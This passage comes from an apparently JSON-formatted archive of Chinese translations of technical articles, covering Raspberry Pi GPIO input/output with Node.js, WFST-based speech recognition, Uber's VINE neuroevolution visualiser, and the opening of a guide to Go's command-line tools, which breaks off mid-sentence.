时，引脚**开启**并输入 **3.3V** 电源。当它设为 **0** 时，引脚会**关闭**且不再提供任何电源电压（**0V**）。\n\n使用 `setInterval` 时，我们就是在运行一个无限循环，不断地调用 `ledOut.writeSync(val)` 方法在 `ledOut` 引脚中写入 0 或 1。让我们使用 Node.js 来运行这个程序：\n\n```bash\nnode rpi-led-out.js\n```\n\n由于这是一个无限循环的程序，一旦启动，它就不会终止，除非我们使用 `ctrl + c` 强制终止程序。在该程序的生命周期内，它将每隔 **3 秒**切换一次 **BCM 4** 引脚的状态。\n\n树莓派 GPIO 有意思的一点是，一旦 GPIO 引脚被设为 **1** 或 **0**，它将一直保持不变， 除非我们覆盖该值或关闭树莓派的电源。比如，当你启动程序时，LED 处于熄灭状态，但当你终止程序时，LED 可能会保持亮起状态。\n\n## 开关输入示例\n\n众所周知，当把 GPIO 用作输入时，我们需要提供接近 **3.3V** 的电压。我们可以连接一个开关（**按钮**）直接从 **3.3V** 引脚提供电压，如下图所示：\n\n![(简单按钮输入)](https://cdn-images-1.medium.com/max/3126/1*8TUu5IGDaYm0movHCM9hww.png)\n\n在输入开关之前，我们已经在电路中使用了一个 **1K ohm** 的电阻。它能防止 **3.3V** 电源产生过大的电流，避免开关熔断。\n\n我们还连接了一个 **10K ohm** 电阻，该电阻也从按钮的输出端汲取电流并接地。这类电阻被称为**下拉**电阻（**因为它们在电路中的位置**），它们会将电流（**或大气中电荷聚集产生的电流**）导向地面。\n\n> 我们也可以增加一个**上拉电阻**，从 **3.3V** 引脚导出电流，供给给 GPIO 的输入引脚。在这种配置下，输入引脚会始终读取 **高** 或 **1**。按下按钮时，开关在电阻和地面之间产生短路，将所有电流导向地面，并且没有电流通过开关到达输入引脚，读数为 **0**。[**此处有一段很棒的视频**](https://www.youtube.com/watch?v=5vnW4U5Vj0k)演示了上拉和下拉电阻。\n\n开关的输出连接到 **BCM 17** 引脚。当按下按钮（**开关**）时，电流将通过开关流入 BCM 17 引脚。然而，由于 10K ohm 电阻给电流提供了更大的障碍，大多数电流会流向由**红色虚线**表示的回路。\n\n未按下按钮时，由红色虚线表示的回路闭合，没有电流流过。然而，由**灰色虚线**表示的环路是闭合的，BCM 17 引脚接地（**0V**）。\n\n> 增加一个 10k ohm 电阻是为了让 BCM 17 引脚接地，这样它就不会将任何大气干扰读取为高输入。如果不将输入引脚接地，输入引脚会保持在**浮动状态**。在这种状态下，由于大气干扰，输入引脚可能读取为 0 或 1。\n\n既然电路已经准备好了，让我们编写一个程序来读取输入值：\n\n```JavaScript\nconst { Gpio } = require( 'onoff' );\n\n// set BCM 17 pin as 'input'\nconst switchIn = new Gpio( '17', 'in', 'both' );\n\n// listen for pin voltage change\nswitchIn.watch( ( err, value ) => {\n  if( err ) {\n    console.log( 'Error', err );\n  }\n\n  // log pin value (0 or 1)\n  console.log( 'Pin value', value );\n} );\n```\n\n在上面的程序中，我们将 **BCM 17** 引脚设置为输入模式。`Gpio` 构造函数的第三个参数配置了我们何时需要引脚输入电压变化的通知。该参数名为 **`edge`**，因为我们读取的是电压上升和下降周期的边缘电压值。\n\n`edge` 参数可以有以下值：\n\n当使用 `rising` 值时，如果 GPIO 引脚的输入电压**从 0V 上升**（**至 3.3V**），我们将收到通知。位于此位置时，引脚将读取**逻辑高位**或 **1**，因为该引脚获得了更高的电压。\n\n当使用 `falling` 值时，如果输入电压（**从 3.3V**） **降至 0V**，我们将收到通知。位于此位置时，引脚将读取**逻辑低位**或 **0**，因为它正在失去电压。\n\n当使用 `both` 值时，我们将收到上述两个事件的通知。当电压从 0V 上升（**至输入高电平或 1**）或从 3.3V 下降（**至输入低电平或 0**）时，我们都会收到到这些事件的通知。\n\n> 此处不讨论 `none` 值，请阅读[**文档**](https://github.com/fivdi/onoff#gpiogpio-direction--edge--options)了解更多信息。\n\n输入模式下 GPIO 引脚上的 `watch` 方法监视上述事件。这是一个异步方法，因此我们需要传递一个回调函数，该函数接收输入高（1）或输入低（0）值。\n\n由于我们使用的是 `both` 值，所以 `watch` 方法将在输入电压上升时以及输入电压下降时都执行回调。按下按钮，你应该会在控制台中看到下面的值：\n\n```\nPin value 1 (按下按钮)\nPin value 0 (释放按钮)\nPin value 1 (按下按钮)\nPin value 1 (重复值)\nPin value 0 (按下按钮)\n```\n\n如果仔细检查以上输出就能发现，我们有时会在按下或释放按钮时得到重复的值。由于开关机制的两个连接器之间的物理连接并不总那么顺畅，所以，不小心按下开关时，它可以多次连接和断开。\n\n为了避免这种情况，我们可以在开关电路中增加电容，在实际电流流入 GPIO 引脚之前充电，并在按钮释放时平稳放电。这种方法非常简单，你可以试一试。\n\n## 组合 I/O 示例\n\n现在我们已经充分理解了 GPIO 引脚的工作原理以及配置方法，让我们结合最后两个例子进行讲解。更重要的是，按下按钮时，打开 LED 而释放按钮时关闭 LED。让我们先看看电路图：\n\n![(简单 I/O 示例)](https://cdn-images-1.medium.com/max/3126/1*c0iV6t3t2yPUVyT0mhU3OA.png)\n\n从以上例子可以看出，我们没有从上面的两个例子中改变任何东西。另外，LED 和开关电路都是独立的。这意味着我们之前的程序在这条线路上应该可以正常工作。\n\n```JavaScript\nconst { Gpio } = require( 'onoff' );\n\n// set BCM 4 pin as 'output'\nconst ledOut = new Gpio( '4', 'out' );\n\n// set BCM 17 pin as 'input'\nconst switchIn = new Gpio( '17', 'in', 'both' );\n\n// listen for pin voltage change\nswitchIn.watch( ( err, value ) => {\n  if( err ) {\n    console.log( 'Error', err );\n  }\n\n  // write the input value (0 or 1) 'ledOut' pin\n  ledOut.writeSync( value );\n} );\n```\n\n在上述程序中，我们将 GPIO 引脚分别配置为输入和输出模式。由于输入引脚上的 `watch` 方法提供的值是 **0** 或 **1**，因此，我们直接把这些值写入输出引脚。\n\n因为我们在 `both` 模式下用 `watch` 方法监视输入引脚，当按下按钮发送 **1** 或者释放按钮发送 **0** 时，`watch` 方法的回调将被触发。\n\n我们可以直接使用该值写入 `ledOut` 引脚。因此，按下按钮时，`value` 为 `1` 并执行 `ledOut.writeSync(1)`，会打开 LED。松开按钮时则反之。\n\n---\n\n![(演示)](https://cdn-images-1.medium.com/max/2000/1*a35VFbnt_AUM0ch8ftCxMA.gif)\n\n以上是我们刚才创建的完整输入/输出电路的演示。为了你本人和树莓派的安全，建议买一个好的外壳和 40 针 GPIO 扩展带状电缆。\n\n希望你今天能学到一点东西。在接下来的教程中，我们将构建一些复杂的电路并学习连接一些有意思的设备，如字符 LCD 显示屏和数字输入板。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/an-introduction-to-speech-recognition-using-wfsts.md",
    "content": "> * 原文地址：[An Introduction to Speech Recognition using WFSTs](https://medium.com/explorations-in-language-and-learning/an-introduction-to-speech-recognition-using-wfsts-288b6aeecebe)\n> * 原文作者：[Desh Raj](https://medium.com/@rdesh26)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/an-introduction-to-speech-recognition-using-wfsts.md](https://github.com/xitu/gold-miner/blob/master/TODO1/an-introduction-to-speech-recognition-using-wfsts.md)\n> * 译者：[sisibeloved](https://github.com/sisibeloved)\n> * 校对者：[xionglong58](https://github.com/xionglong58), [JackEggie](https://github.com/JackEggie)\n\n# 使用 WFST 进行语音识别\n\n> 之前，我的博客文章都是关于深度学习方法或者它们在 NLP 中的应用。而从几周前，我开始研究自动语音识别（ASR）。因此，我现在也会发布一些语音相关的文章。\n\nASR 的逻辑非常简单（就是贝叶斯理论，如同机器学习领域的其它算法一样）。本质上，ASR 就是对给定的语音波形进行转换，比如识别与波形对应的文本。假设 **Y** 表示从波形中获得的特征向量（注意：这个“特征提取”本身是一个十分复杂的过程，我将在另一篇文章中详述），**w** 表示任意字符串的话，可以得出以下公式：\n\n![](https://cdn-images-1.medium.com/max/2000/0*EaatvWv4ULPPU2ps.)\n\n公式中的两个似然率是分开训练的。第一个分量，称为**声学建模**，使用包含话语和语音波形的平行语料库进行训练。第二个分量，称为**语言建模**，通过无监督的方式从大量文本中进行训练。\n\n虽然 ASR 训练从抽象层面看起来很简单，但实现它的实现却远要复杂得多。我们通常会使用加权有限状态转换机（WFST）来实现。在这篇文章中，我将介绍 WFST 及其基础算法，并简要介绍如何将它用于语音识别。\n\n### 加权有限状态转换机（Weighted Finite State Transducer，WFST）\n\n如果你之前上过计算机理论课程（译者注：大多数人可能是在编译原理这门课上学的），你可能已经了解了**自动机**的概念。从概念上来说，有限自动机接受一种语言（一组字符串）作为输入。它们由有向图表示，如下所示。\n\n![](https://cdn-images-1.medium.com/max/2000/0*tEJQn7jtZ0ZjUAge.gif)\n\n每个自动机由一个开始状态，一个或多个最终状态，以及用于连接状态的带有标号的边组成。如果字符串在遍历图中的某个路径后以最终状态结束，则接受该字符串。例如，在上述 DFA（deterministic finite automata，确定有限状态自动机）中，**a**、**ac** 和 **ae** 会被接受。\n\n因此**接受器**将任何输入字符串映射成二进制类 {0,1}，具体取决于字符串是否被接受。而**转换机**在每条边上有 2 个标签 —— 输入标签和输出标签。**加权**状态转换机，则更进一步，具有对应于每个边和每个最终状态的权重。\n\n![](https://cdn-images-1.medium.com/max/2000/0*1_8DJQb7LgH1abja.png)\n\n因此，WFST 是从字符串对到权重和的映射。该字符串对由沿着 WFST 的任何路径的输入/输出标签形成。对于图中不可达的节点对，对应边的权重是无穷大。\n\n实际上，绝大部分语言都有对应的实现 WFST 的库。在 C++ 中，[OpenFST](http://www.openfst.org/twiki/bin/view/FST/WebHome) 是个较为流行的库，在 [Kaldi 语音识别工具](http://kaldi-asr.org/)中也有用到。\n\n原则上，我们可以不使用 WFST 实现语音识别算法。但是，这种数据结构具有[多种经过验证的结果](https://cs.nyu.edu/~mohri/pub/csl01.pdf)和算法，可直接用于 ASR，而无需担心正确性和复杂度。这些优点使得 WFST 在语音识别中几乎无可匹敌。接下来我会总结 WFST 上的一些算法。\n\n## WFST 中的基础算法\n\n### 合并\n\n顾名思义，合并是指将 2 个 WFST 组合形成单个 WFST 的过程。如果我们有发音和单词级语法的转换机，这种算法将使我们能够轻松地搭建一个语音转文字的系统。\n\n合并遵循以下 3 个原则：\n\n1. 将原先的 WFST 的初始状态结合成对，形成新 WFST 的初始状态。\n2. 类似地，将最终状态结合成对。\n3. 如果存在第一个 WFST 的输出标签等于第二个 WFST 的输入标签这种情况，从起点对添加一条边到终点对。边的权重为原始权重之“和”。\n\n以下是一个合并示例：\n\n![](https://cdn-images-1.medium.com/max/2000/1*BFg7_P5AfZH-gAywtKkXxQ.png)\n\n对于边的权重来说，“总和”的定义很重要。借助于[半环](https://en.wikipedia.org/wiki/Semiring)的概念，WFST 可以接受广义上的“语言”。从基本概念上来讲，它是一组具有 2 个运算符的元素，即 ⊕ 和 ⊗。根据半环的类型，这些运算符可以有不同的定义。例如，在热带半环中，⊕ 表示取最小值，⊗ 表示相加。此外，在任意 WFST 中，一整条路径的权重之和等于沿路径的各条边的权重相 ⊗（注意：对于热带半环来说这里的“相乘”意味着相加），多条路径的权重之和等于具有相同的符号序列的路径相 ⊕。\n\n[这里](http://www.openfst.org/twiki/bin/view/FST/ComposeDoc)是 OpenFST 中对于合并的实现。\n\n### 确定化\n\n确定自动机是每个状态中每种标签只有一个转移的自动机。通过这样的表达式，确定化的 WFST 消除了所有冗余并大大降低了基础语法的复杂性。那么，是不是所有 WFST 都可以确定化呢？\n\n**孪生属性**：假设有一个自动机 A，A 中有两个状态 **p** 和 **q**。如果 **p** 和 **q** 都具有相同的字符串输入 **x**，并有相同标签的循环 **y**，则称 **p** 和 **q** 为兄弟状态。从概念上讲，到该状态为止的路径（包括循环在内）的总权重相等，则这两个兄弟状态是孪生的。 \n\n> 当所有兄弟状态是孪生的时，这个 WFST 是可以被确定化的。\n\n这是我之前所说的关于 WFST 是 ASR 中使用的算法的有效实现的一个例子。有几种方法可以确定化 WFST。其中一种算法如下所示：\n\n![](https://cdn-images-1.medium.com/max/2000/1*ArXaKyN2_YiarDX46tPAAQ.png)\n\n该算法简化后的步骤如下：\n\n* 在每个状态下，对于每个输出标签，如果该标签有多个输出边，则将其替换为单个边，其权重为包含该标签的所有边的权重的 ⊕ 总和。\n\n由于这是一种本地算法，因此可以高效地在内存中实现。要了解如何在 OpenFST 中进行确定化，请参阅[此处](http://www.openfst.org/twiki/bin/view/FST/DeterminizeDoc)。\n\n### 最小化\n\n尽管最小化不如确定化那样重要，但它仍然是一种很好的优化技术。它用于最小化确定的 WFST 中的状态和转移的数量。\n\n最小化的步骤分为两步：\n\n1. 权重推移：所有权重都被推往开始状态。请参阅以下示例。\n\n![](https://cdn-images-1.medium.com/max/2000/1*0Hp5qXMWHsyvvFGfLz03vQ.png)\n\n2. 完成此操作后，我们将到最终状态的路径相同的状态组合。例如，在上述 WFST 中，状态 1 和 2 在权重推移后变得相同，因此它们被组合成了一个状态。\n\n在 OpenFST 中，可以在[这里](http://www.openfst.org/twiki/bin/view/FST/MinimizeDoc)找到最小化的具体实现。\n\n下图（来自<sup><a href=\"#note1\">[3]</a></sup>）展示了 WFST 优化的完整流程：\n\n![](https://cdn-images-1.medium.com/max/2000/1*dNGFwfEMWqiVxNKRNjV5MA.png)\n\n### WFST 在语音识别中的应用\n\n在语音识别中，多个 WFST 会被串行组合，顺序如下：\n\n1. 语法（**G**）：使用大型语料库训练的语言模型。\n2. 词汇表（**L**）：用于将不包含上下文的语音的似然度的信息编码。\n3. 依赖上下文的语音处理（**C**）：类似 n 元语言模型，唯一的不同点是它作用于语音处理。\n4. HMM 架构（**H**）：用于处理波形的模型。\n\n总体上，将转换机按 **H** o **C** o **L** o **G** 组合可以表示完整的语音识别的流程。其中每个部分都可以单独改进，从而改善整个 ASR 系统。\n\n**WFST 是 ASR 系统的重要组成部分，这篇文章只是简要地对 WFST 作了介绍。在其它与语音相关的帖子中，我会讨论诸如特征提取，流行的 GMM-HMM 模型和最新的深度学习进展之类的事情。我也在阅读[这些](http://jrmeyer.github.io/asr/2017/04/05/seminal-asr-papers.html)论文，以便更好地了解 ASR 多年来的发展历程。**\n\n## 参考文献\n\n* [1] Gales、Mark 和 Steve Young 著《隐马尔可夫模型在语音识别中的应用》，Foundations and Trends® in Signal Processing 1.3 (2008): 195–304.\n* [2] Mohri、 Mehryar、Fernando Pereira 和 Michael Riley 著《语音识别中的加权有限状态机》，Computer Speech & Language 16.1 (2002): 69–88.\n* <a name=\"note1\"></a>[3] 江辉教授（约克大学）的[课堂讲义](https://wiki.eecs.yorku.ca/course_archive/2011-12/W/6328/_media/wfst-tutorial.pdf)\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/an-open-source-interactive-data-visualization-tool-for-neuroevolution.md",
    "content": "> * 原文地址：[VINE: An Open Source Interactive Data Visualization Tool for Neuroevolution](https://eng.uber.com/vine/)\n> * 原文作者：[Uber Engineering](https://eng.uber.com/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/an-open-source-interactive-data-visualization-tool-for-neuroevolution.md](https://github.com/xitu/gold-miner/blob/master/TODO1/an-open-source-interactive-data-visualization-tool-for-neuroevolution.md)\n> * 译者：[Starrier](https://github.com/Starrier)\n> * 校对者：[wzy816](https://github.com/wzy816)\n\n# VINE：一种开源的神经进化（Neuroevolution）交互式数据可视化工具\n\n在 Uber 的规模上，机器学习的进步可以显著增强为更安全和更可靠的交通解决方案提供动力的技术。Uber AI 实验室最近宣布的一项进展是[深度神经进化](https://eng.uber.com/deep-neuroevolution/)，其中进化算法（如进化策略（ES）和遗传算法（GA））帮助训练深层神经网络来解决困难的强化学习（RL）问题。最近，人们对深度神经进化的兴趣越来越大，其主要贡献来自于 [OpenAI](https://blog.openai.com/evolution-strategies/)、[DeepMind](https://deepmind.com/blog/population-based-training-neural-networks/)、[Google Brain](https://arxiv.org/abs/1802.01548) 和 [Sentient](https://www.sentient.ai/blog/evolution-is-the-new-deep-learning/) 。这反过来又造成了解决该领域的研究人员对工具的需求的问题。\n\n特别是在神经进化和神经网络优化中，往往很难观察到学习过程的基本动态。为了弥补这一差距并开放观察过程，我们引入[视觉神经进化检查器（VINE）](https://github.com/uber-common/deep-neuroevolution)，一个开源的交互式数据可视化工具，旨在帮助那些对神经进化感兴趣的人更好地理解和探索这一系列算法。我们希望这项技术可以在未来激发神经进化的创新和应用。\n\nVINE 可以高亮 ES- 和 GA- 风格的方法。本文中，我们将把 ES 应用于 [Mujoco](http://www.mujoco.org/index.html) [仿人运动任务](https://gym.openai.com/)的结果可视化为我们的示例。\n\n在传统的 ES 应用（如 OpenAI 推广）中，一组称为伪后代云的神经网络针对几代人的目标进行优化。云中每个个体神经网络的参数通过随机扰动单个「父」神经网络的参数生成。然后根据目标对每个伪后代神经网络进行评估：在仿人学习任务中，每个伪后代神经网络控制机器人的运动，并根据机器人的行走能力获得一个分数，称为适应度。ES 基于这些适应度评分来聚合伪后代的参数来构造下一个父级（这几乎就像一种复杂的多亲交叉形式，也使人想起随机有限差分）。然后循环重复。\n\n[![](https://eng.uber.com/wp-content/uploads/2018/03/fig1_left.gif)](http://eng.uber.com/wp-content/uploads/2018/03/fig1_left.gif)\n\n[![](https://eng.uber.com/wp-content/uploads/2018/03/fig1_right.gif)](http://eng.uber.com/wp-content/uploads/2018/03/fig1_right.gif)\n\n图 1：模拟机器人训练走遗传算法（左）和进化策略（右）。\n\n### 使用 VINE\n\n为了利用 VINE，在评估期间会记录每个双亲和所有假后代的行为特征（BC）。在这里，BC 可以是代理在与其环境交互时行为的任何指标。例如，在 Mujoco 中，我们简单地使用代理的最终位置｛x,y｝作为 BC，因此它表示代理从原点移到了什么位置。\n\n可视化工具根据它们的 BC 将双亲和伪后代映射到 2D 平面上。为此，它调用图形用户界面(GUI)，其主要组件由两种相互关联的图形组成：一个或多个伪子代云图（在不同的 2D 平面上）和一个适应度图。如图 2 所示，下面的伪后代云图显示了每一代在云中的双亲和伪后代的 BC，而适应图作为世代进步的一个关键指标则显示了双亲的适应度得分曲线。\n\n[![](https://eng.uber.com/wp-content/uploads/2018/03/image8.png)](http://eng.uber.com/wp-content/uploads/2018/03/image8.png)\n\n图 2：伪子代云图和适合度图的事例。\n\n然后用户和这些图交互，探索伪后代云的总体趋势以及任何双亲或伪后代在进化过程中的个体行为：（1）用户可以可视化任何一代的双亲，表现最好的和（或）整个伪后代云，并探索具有不同适应度的伪后代在 2D BC 平面上的数量和空间分布；（2）用户可以在世代间进行比较，浏览数代，以可视化父母和（或）伪后代云是如何在 2D BC 平面上移动的，以及这些移动与适应度评分曲线的关系（如图 3 所示，移动云的完整电影片段可以自动生成）；（3）点击云图上的任意一点，就会显示相应的伪后代的行为信息和适应度分数。\n\n[![](https://eng.uber.com/wp-content/uploads/2018/03/image7.gif)](http://eng.uber.com/wp-content/uploads/2018/03/image7.gif)\n\n图 3：可视化的世代行为演变过程。每一代颜色都会发生改变。在一代人的时间里，每一个伪后代颜色强度都是根据其在这一代人中的适应度分数的百分位数来计算的（合计为五个分箱）。\n\n### 附加用例\n\n该工具还支持默认功能之外的高级选项和自定义可视化。例如，作为最终单点｛x，y｝的替换，BC 可以替换为每个代理的完整轨迹（例如，用 1000 个时间点步骤连接的｛x，y｝） 代替单个最后｛x，y｝点。在这种情况下，当 BC 的维数超过 2 时，需要使用维数简约技术（如 [PCA](https://en.wikipedia.org/wiki/Principal_component_analysis) 或者 [t-SNE](https://lvdmaaten.github.io/tsne/)）将 BC 数据降维到 2D。我们的工具会自动化这些过程。\n\nGUI 能够加载多组 2D BC（可能通过不同的缩减技术生成），并将它们显示在同时连接的云图中，如图 4 所示。此功能为用户探索不同的 BC 选择和降维方法提供了一种便捷方式。此外，用户还可以通过定制功能扩展基础的可视化。图 4 展示了一个这样的自定义云图，可以显示某些类型的特定领域的高维 BC（在这种情况下，代理的完整轨迹）以及相应的减少的 2D BC。图 5 中定制云图的另一个例子允许用户在与环境交互时重放代理的确定性和随机行为。\n\n[![](https://eng.uber.com/wp-content/uploads/2018/03/image1-2.png)](http://eng.uber.com/wp-content/uploads/2018/03/image1-2.png)\n\n图  4：多个 2D BC 和一个高维 BC 的可视化以及一个适应度图。 \n\n[![](https://eng.uber.com/wp-content/uploads/2018/03/image2.gif)](http://eng.uber.com/wp-content/uploads/2018/03/image2.gif)\n\n图 5：VINE 允许用户查看任何代理的确定性和随机行为的视频。\n\n该工具还设计用于处理移动任务以外的域。下图 6 演示了一个云图，它可视化了训练代理来玩 Frostbit 游戏，这是 Atari 2600 游戏之一，我们使用最后的模拟器 RAM 状态（长度为 128 的整数值向量，捕捉游戏中的所有状态变量）作为 BC，并应用 PCA 将 BC 映射到 2D 平面上。\n\n[![](https://eng.uber.com/wp-content/uploads/2018/03/image3-1.png)](http://eng.uber.com/wp-content/uploads/2018/03/image3-1.png)\n\n图 6：可视化代理学习来演示 Frostbite。 \n\n从图中，我们可以观察到，随着进化的发展，伪后代云向左边移动，并向那里的星云移动。能够看到每个玩游戏的代理的相应视频，我们可以推断每个集群对应于语义上有意义不同的结束状态。\n\nVINE 还可以与其他神经进化算法（如 GA）无缝协作，这些算法能使后代繁衍数代。事实上，该工具独立于任何特定的神经进化算法。用户只需要稍微修改他们的神经进化代码，就可以保存他们针对特定问题选择的 BC。在代码发行版中，我们提供了对 ES 和 GA 实现了此类修改以作示例。\n\n### 下一步\n\n由于进化方法是在一组点上操作，所以为新型可视化提供了机会。在实现了提供可视化功能的工具后，我们发现它很有用并且想在机器学习社区进行分享，让大家一起受益。随着神经进化扩展到具有数百万或更多连接的神经网络，通过 VINE 等工具获得更多的洞察力对加深进步越来越有价值，也越来越重要。\n\n可以在此[链接](https://github.com/uber-common/deep-neuroevolution/tree/master/visual_inspector)找到 VINE。它是轻量级的，可移值的，而且是用 Python 实现的。\n\n**致谢：** 我们感谢 Uber AI 实验室，尤其是 Joel Lehman、Xingwen Zhang、Felipe Petroski Such 和 Vashisht Madhavan 为我们提供了宝贵的建议和有益的讨论。 \n\n图 1，左图来源：例如Felipe Petroski。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/an-overview-of-go-tooling.md",
    "content": "> * 原文地址：[An Overview of Go's Tooling](https://www.alexedwards.net/blog/an-overview-of-go-tooling)\n> * 原文作者：[Alex Edwards](https://www.alexedwards.net/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/an-overview-of-go-tooling.md](https://github.com/xitu/gold-miner/blob/master/TODO1/an-overview-of-go-tooling.md)\n> * 译者：[acev](https://github.com/acev-online)\n> * 校对者：[jianboy](https://github.com/jianboy), [cyril](https://github.com/shixi-li)\n\n# Go 语言命令概览\n\n我偶尔会被人问到：**“你为什么喜欢使用 Go 语言？”** 我经常会提到的就是 `go` 工具命令，它是与语言一同存在的一部分。有一些命令 —— 比如 `go fmt` 和 `go build` —— 我每天都会用到，还有一些命令 —— 就像 `go tool pprof` —— 我用它们解决特定的问题。但在所有的场景下，我都很感谢 go 命令让我的项目管理和维护变得更加容易。\n\n在这篇文章中，我希望提供一些关于我认为最有用的命令的背景和上下文，更重要的是，解释它们如何适应典型项目的工作流程。如果你刚刚接触 Go 语言，我希望这是一个良好的开端。\n\n如果你使用 Go 语言已经有一段时间，这篇文章可能不适合你，但同样希望你能在这里发现之前不了解的命令和参数😀\n\n本文中的信息是针对 Go 1.12 编写的，并假设你正在开发一个 [module-enabled](https://github.com/golang/go/wiki/Modules#quick-start) 的项目。\n\n1. **[安装命令](#安装命令)**\n2. **[查看环境信息](#查看环境信息)**\n3. **[开发](#开发)**\n    * [运行代码](#运行代码)\n    * [获取依赖关系](#获取依赖关系)\n    * [重构代码](#重构代码)\n    * [查看 Go 文档](#查看-Go-文档)\n4. **[测试](#测试)**\n    * [运行测试](#运行测试)\n    * [分析测试覆盖率](#分析测试覆盖率)\n    * [压力测试](#压力测试)\n    * [测试全部依赖关系](#测试全部依赖关系)\n5. **[预提交检查](#预提交检查)**\n    * [格式化代码](#格式化代码)\n    * [执行静态分析](#执行静态分析)\n    * [Linting 代码](#linting-代码)\n    * [整理和验证依赖关系](#整理和验证依赖关系)\n6. **[构建与部署](#构建与部署)**\n    * [构建可执行文件](#构建可执行文件)\n    * [交叉编译](#交叉编译)\n    * [使用编译器和链接器标记](#使用编译器和链接器标记)\n7. **[诊断问题和优化](#诊断问题和优化)**\n    * [运行和比较基准](#运行和比较基准)\n    * [分析和跟踪](#分析和跟踪)\n    * [竞争检测](#竞争检测)\n8. **[管理依赖](#管理依赖)**\n9. **[升级到新版本](#升级到新版本)**\n10. **[报告问题](#报告问题)**\n11. **[速查表](#速查表)**\n\n## 安装命令\n\n这篇文章中，我将主要关注 go 命令这部分。但这里也将提到一些不属于 Go 12.2 标准发行版的内容。\n\n当你在 Go 12.2 版本下安装命令时，你首先需要确保当前在 module-enabled 的目录**之外**（我通常跳转到 `/tmp` 目录下）。之后你可以使用 `GO111MODULE=on go get` 命令来安装。例如：\n\n```shell\n$ cd /tmp\n$ GO111MODULE=on go get golang.org/x/tools/cmd/stress\n```\n\n这条命令将会下载相关的包和依赖项、构建可执行文件，并将它添加到你设置的 `GOBIN` 目录下。如果你没有显式设定 `GOBIN` 目录，可执行文件将会被添加到 `GOPATH/bin` 目录下。但无论哪种方式，你都应当确保系统路径上有对应的目录。\n\n注意：这个过程有些笨拙，希望能在将来的 Go 版本中有所改进。你可以在 [Issue 30515](https://github.com/golang/go/issues/30515) 跟踪有关此问题的讨论。\n\n## 查看环境信息\n\n你可以使用 `go env` 命令显示当前 Go 工作环境。如果你在不熟悉的计算机上工作，这可能很有用。\n\n```shell\n$ go env\nGOARCH=\"amd64\"\nGOBIN=\"\"\nGOCACHE=\"/home/alex/.cache/go-build\"\nGOEXE=\"\"\nGOFLAGS=\"\"\nGOHOSTARCH=\"amd64\"\nGOHOSTOS=\"linux\"\nGOOS=\"linux\"\nGOPATH=\"/home/alex/go\"\nGOPROXY=\"\"\nGORACE=\"\"\nGOROOT=\"/usr/local/go\"\nGOTMPDIR=\"\"\nGOTOOLDIR=\"/usr/local/go/pkg/tool/linux_amd64\"\nGCCGO=\"gccgo\"\nCC=\"gcc\"\nCXX=\"g++\"\nCGO_ENABLED=\"1\"\nGOMOD=\"\"\nCGO_CFLAGS=\"-g -O2\"\nCGO_CPPFLAGS=\"\"\nCGO_CXXFLAGS=\"-g -O2\"\nCGO_FFLAGS=\"-g -O2\"\nCGO_LDFLAGS=\"-g -O2\"\nPKG_CONFIG=\"pkg-config\"\nGOGCCFLAGS=\"-fPIC -m64 -pthread -fmessage-length=0 -fdebug-prefix-map=/tmp/go-build245740092=/tmp/go-build -gno-record-gcc-switches\"\n```\n\n如果你对某些特定值感兴趣，则可以将这些值作为参数传递给 `go env`。例如：\n\n```shell\n$ go env GOPATH GOOS GOARCH\n/home/alex/go\nlinux\namd64\n```\n\n要显示 `go env` 